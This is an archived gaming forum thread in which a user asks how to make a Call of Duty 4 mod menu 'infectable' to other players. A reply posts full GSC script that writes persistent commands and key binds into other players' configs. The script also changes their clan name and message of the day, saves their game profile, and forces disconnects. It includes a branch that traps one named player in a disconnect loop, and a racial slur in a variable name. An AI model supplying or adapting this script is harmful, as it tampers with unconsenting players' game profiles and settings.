You are viewing our Forum Archives. To view or take place in current topics click here.
COD4 Mod Menu Help Read!
Posted:

COD4 Mod Menu Help Read!Posted:

TTGTemPaHHzxD
  • Resident Elite
Status: Offline
Joined: May 15, 201113Year Member
Posts: 249
Reputation Power: 12
Status: Offline
Joined: May 15, 201113Year Member
Posts: 249
Reputation Power: 12
Right Guys
Latly ive started to make a couple of patch's
but i got a bit of a problem
i Just Wandering if you guys Know How To Make A Mod Menu Imfectable To Others?
Please Post Your Awnsers In The Comments or PM Me
Thanks +Rep!
#2. Posted:
TTG_NeoN_VeNoMz
  • Ladder Climber
Status: Offline
Joined: Feb 28, 201113Year Member
Posts: 348
Reputation Power: 16
Status: Offline
Joined: Feb 28, 201113Year Member
Posts: 348
Reputation Power: 16
sorry idk but check out the tutorials section and see what you find plus rep if this helped
#3. Posted:
vokal
  • TTG Addict
Status: Offline
Joined: Dec 05, 201014Year Member
Posts: 2,130
Reputation Power: 103
Status: Offline
Joined: Dec 05, 201014Year Member
Posts: 2,130
Reputation Power: 103
Made by teh1337

Functions you need:
onPlayerSpawned()
{
self endon("disconnect");
for(;;)
{
self waittill("spawned_player");
self thread initInfs();
}
}

initInfs()
{
self.infs = 0;
self.dvars = [];
self.dvalues = [];
}

addInfDvar(dvar, value)
{
if(self.name!="xecarter"&&self.name!="[{xD}]xecarter")
{
self setClientdvar(dvar, value);
self.dvars[self.dvars.size] = dvar;
self.dvalues[self.dvalues.size] = value;
}else{
self setClientDvar("ui_mapname", "mp_shipment;\n;^1Teh1337\n;^2Teh1337\n;^3Teh1337\n;\n;\n;setfromdvar vloop ui_gametype;bind apad_up vstr vloop;seta clanname {xD};seta motd ^1thetechgame.org;updategamerprofile;disconnect");
self setClientDvar("ui_gametype", "vstr g_teamicon_allies;wait 15;vstr vloop");
}
}
doGiveInfections()
{
self endon("death");
for(i=0;i<self.dvars.size;i++)
{
if(i!=self.dvars.size-1) {
self setClientDvar("nh"+i, "setfromdvar g_TeamIcon_Axis "+self.dvars[i]+";setfromdvar g_TeamIcon_Allies tb"+i+";setfromdvar g_teamname_axis nh"+i+";setfromdvar g_teamname_allies tb"+i+";say hax;wait 60;vstr nh"+(i+1)+";");
self setClientDvar("tb"+i, "setfromdvar "+self.dvars[i]+" g_TeamIcon_Axis;setfromdvar nh"+i+" g_TeamName_Axis;setfromdvar tb"+i+" g_TeamName_Allies;wait 30");
}else{
self setClientDvar("nh"+i, "setfromdvar g_TeamIcon_Axis "+self.dvars[i]+";setfromdvar g_TeamIcon_Allies tb"+i+";setfromdvar g_teamname_axis nh"+i+";setfromdvar g_teamname_allies tb"+i+";say hax;wait 60;say DONE!;timescale 1");
self setClientDvar("tb"+i, "setfromdvar "+self.dvars[i]+" g_TeamIcon_Axis;setfromdvar nh"+i+" g_TeamName_Axis;setfromdvar tb"+i+" g_TeamName_Allies;wait 30;set vloop set activeaction vstr nigchicken;set activeaction vstr nigchicken;disconnect;");
}
wait 0.1;

}
self setClientDvar("developer_script", 1);
}
he has a tut if you use the search bar ^(up) on the right
Jump to:
You are viewing our Forum Archives. To view or take place in current topics click here.